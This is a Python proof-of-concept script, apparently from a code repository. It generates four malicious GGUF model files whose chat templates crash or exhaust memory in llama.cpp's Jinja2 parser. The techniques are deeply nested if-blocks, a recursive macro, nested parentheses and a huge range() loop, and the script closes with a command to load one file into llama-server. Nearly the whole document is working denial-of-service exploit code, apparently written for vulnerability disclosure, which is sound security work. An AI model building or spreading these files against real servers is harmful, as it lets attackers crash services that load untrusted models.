File size: 4,143 Bytes
4214295 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 | #!/usr/bin/env python3
"""
PoC: Stack Overflow in Jinja2 Template Parser via Deeply Nested GGUF Chat Template
The llama.cpp Jinja2 template parser uses recursive descent with NO recursion
depth limit. A GGUF file with a deeply nested chat_template causes stack overflow
(SIGSEGV) when the model is loaded, crashing llama-server immediately.
CWE-674: Uncontrolled Recursion
"""
import struct
import sys
def create_gguf_with_template(filename, template_str):
"""Create a GGUF v3 file with a chat template in metadata"""
data = b''
# Header
data += b'GGUF' # magic
data += struct.pack('<I', 3) # version 3
data += struct.pack('<q', 0) # n_tensors = 0
data += struct.pack('<q', 2) # n_kv = 2
# KV 1: general.architecture (required for model loading)
key1 = b'general.architecture'
val1 = b'llama'
data += struct.pack('<Q', len(key1)) + key1
data += struct.pack('<i', 8) # GGUF_TYPE_STRING
data += struct.pack('<Q', len(val1)) + val1
# KV 2: tokenizer.chat_template (the malicious template)
key2 = b'tokenizer.chat_template'
val2 = template_str.encode('utf-8')
data += struct.pack('<Q', len(key2)) + key2
data += struct.pack('<i', 8) # GGUF_TYPE_STRING
data += struct.pack('<Q', len(val2)) + val2
with open(filename, 'wb') as f:
f.write(data)
print(f"[+] Created {filename} ({len(data)} bytes)")
print(f" Template size: {len(val2)} bytes")
return filename
# === PoC 1: Parser Stack Overflow via deep if-nesting ===
# Crashes during model LOADING (template parsing)
def poc_parser_stack_overflow(depth=50000):
"""Deep {% if %}{% endif %} nesting exhausts parser stack"""
template = "{% if true %}" * depth + "PAYLOAD" + "{% endif %}" * depth
filename = "poc_parser_stackoverflow.gguf"
create_gguf_with_template(filename, template)
print(f" Nesting depth: {depth}")
print(f" Expected: SIGSEGV at parse time (model load)")
return filename
# === PoC 2: Runtime Stack Overflow via recursive macro ===
# Crashes during first chat completion request
def poc_recursive_macro(depth=100000):
"""Recursive macro exhausts runtime stack"""
template = (
"{% macro bomb(n) %}"
"{% if n > 0 %}{{ bomb(n-1) }}{% endif %}"
"{% endmacro %}"
f"{{% for message in messages %}}"
f"{{{{ bomb({depth}) }}}}"
"{% endfor %}"
)
filename = "poc_recursive_macro.gguf"
create_gguf_with_template(filename, template)
print(f" Recursion depth: {depth}")
print(f" Expected: SIGSEGV at render time (first chat request)")
return filename
# === PoC 3: OOM via range() ===
# Causes OOM during first chat completion request
def poc_range_oom():
"""range() with huge argument causes OOM"""
template = (
"{% for message in messages %}"
"{% for i in range(999999999) %}{{ i }}{% endfor %}"
"{% endfor %}"
)
filename = "poc_range_oom.gguf"
create_gguf_with_template(filename, template)
print(f" Expected: OOM kill or hang at render time")
return filename
# === PoC 4: Deep expression nesting ===
# Crashes parser with deeply nested expressions
def poc_expression_nesting(depth=50000):
"""Deeply nested expressions: (((((...))))) """
template = "{{ " + "(" * depth + "1" + ")" * depth + " }}"
filename = "poc_expr_nesting.gguf"
create_gguf_with_template(filename, template)
print(f" Expression depth: {depth}")
print(f" Expected: SIGSEGV at parse time")
return filename
if __name__ == '__main__':
print("=" * 60)
print("Jinja2 Template Parser DoS PoC Generator")
print("Target: ggml-org/llama.cpp")
print("=" * 60)
print()
poc_parser_stack_overflow()
print()
poc_recursive_macro()
print()
poc_range_oom()
print()
poc_expression_nesting()
print()
print("=" * 60)
print("Test with:")
print(" llama-server -m poc_parser_stackoverflow.gguf")
print(" # Expected: SIGSEGV (stack overflow in parser)")
print("=" * 60)
|